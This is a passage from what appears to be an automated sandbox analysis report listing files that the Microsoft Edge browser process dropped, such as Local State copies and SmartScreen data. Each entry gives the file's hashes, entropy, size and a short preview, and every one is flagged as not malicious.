Entropy (8bit):	6.089787815485503
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWbdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlakzItSmd6qE7lFoC
MD5:	0B863E464910F57FD7814723627EF32D
SHA1:	0ED8115D344D2748CF3FD1A970F1597C9A6678F4
SHA-256:	7CB4BAEE05AD59EF8B5D63F69947179CE44383686D768045F0794A4FAEAAAC9F
SHA-512:	FD7653ACBE5CA7C19C18C9D037CA56BB07A41A70B75604DF42C78D7DF206E5EB10E686BD90D91E72DD1FBF8FD22DB6F6913764D8ED4080BCB08091EFE49CBE0C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4bcc4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787815485503
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWbdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlakzItSmd6qE7lFoC
MD5:	0B863E464910F57FD7814723627EF32D
SHA1:	0ED8115D344D2748CF3FD1A970F1597C9A6678F4
SHA-256:	7CB4BAEE05AD59EF8B5D63F69947179CE44383686D768045F0794A4FAEAAAC9F
SHA-512:	FD7653ACBE5CA7C19C18C9D037CA56BB07A41A70B75604DF42C78D7DF206E5EB10E686BD90D91E72DD1FBF8FD22DB6F6913764D8ED4080BCB08091EFE49CBE0C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4be3b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787815485503
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWbdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlakzItSmd6qE7lFoC
MD5:	0B863E464910F57FD7814723627EF32D
SHA1:	0ED8115D344D2748CF3FD1A970F1597C9A6678F4
SHA-256:	7CB4BAEE05AD59EF8B5D63F69947179CE44383686D768045F0794A4FAEAAAC9F
SHA-512:	FD7653ACBE5CA7C19C18C9D037CA56BB07A41A70B75604DF42C78D7DF206E5EB10E686BD90D91E72DD1FBF8FD22DB6F6913764D8ED4080BCB08091EFE49CBE0C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4e52c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787815485503
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWbdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlakzItSmd6qE7lFoC
MD5:	0B863E464910F57FD7814723627EF32D
SHA1:	0ED8115D344D2748CF3FD1A970F1597C9A6678F4
SHA-256:	7CB4BAEE05AD59EF8B5D63F69947179CE44383686D768045F0794A4FAEAAAC9F
SHA-512:	FD7653ACBE5CA7C19C18C9D037CA56BB07A41A70B75604DF42C78D7DF206E5EB10E686BD90D91E72DD1FBF8FD22DB6F6913764D8ED4080BCB08091EFE49CBE0C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF51b11.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787815485503
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWbdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlakzItSmd6qE7lFoC
MD5:	0B863E464910F57FD7814723627EF32D
SHA1:	0ED8115D344D2748CF3FD1A970F1597C9A6678F4
SHA-256:	7CB4BAEE05AD59EF8B5D63F69947179CE44383686D768045F0794A4FAEAAAC9F
SHA-512:	FD7653ACBE5CA7C19C18C9D037CA56BB07A41A70B75604DF42C78D7DF206E5EB10E686BD90D91E72DD1FBF8FD22DB6F6913764D8ED4080BCB08091EFE49CBE0C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.011620496563658
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVTURcXyn:YWLSGTt1o9LuLgfGBPAzkVj/T8li8y
MD5:	4CEC8B11629399E28FFD2F032C0CB3D9
SHA1:	CDCEA3050F71EB4DEC92762DFE9337580FE73B74
SHA-256:	7BBE870F59BF8104E6746E6C1DAFD5E4EF1EFE43F2CC3421CF7D1CE37D22067C
SHA-512:	DCCA79D8AE346920120D55E974835C509C628C1CC881BEBDF0CF0B80A83D91BABA108F7EE5E40D2CB423E340A2ED1DD577F572CC87DC90E2035AE82540A8A565
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730937161547092}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a3598e46-2e59-4f58-93b3-0637dd3dce0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787815485503
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWbdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlakzItSmd6qE7lFoC
MD5:	0B863E464910F57FD7814723627EF32D
SHA1:	0ED8115D344D2748CF3FD1A970F1597C9A6678F4
SHA-256:	7CB4BAEE05AD59EF8B5D63F69947179CE44383686D768045F0794A4FAEAAAC9F
SHA-512:	FD7653ACBE5CA7C19C18C9D037CA56BB07A41A70B75604DF42C78D7DF206E5EB10E686BD90D91E72DD1FBF8FD22DB6F6913764D8ED4080BCB08091EFE49CBE0C
Malicious:	false
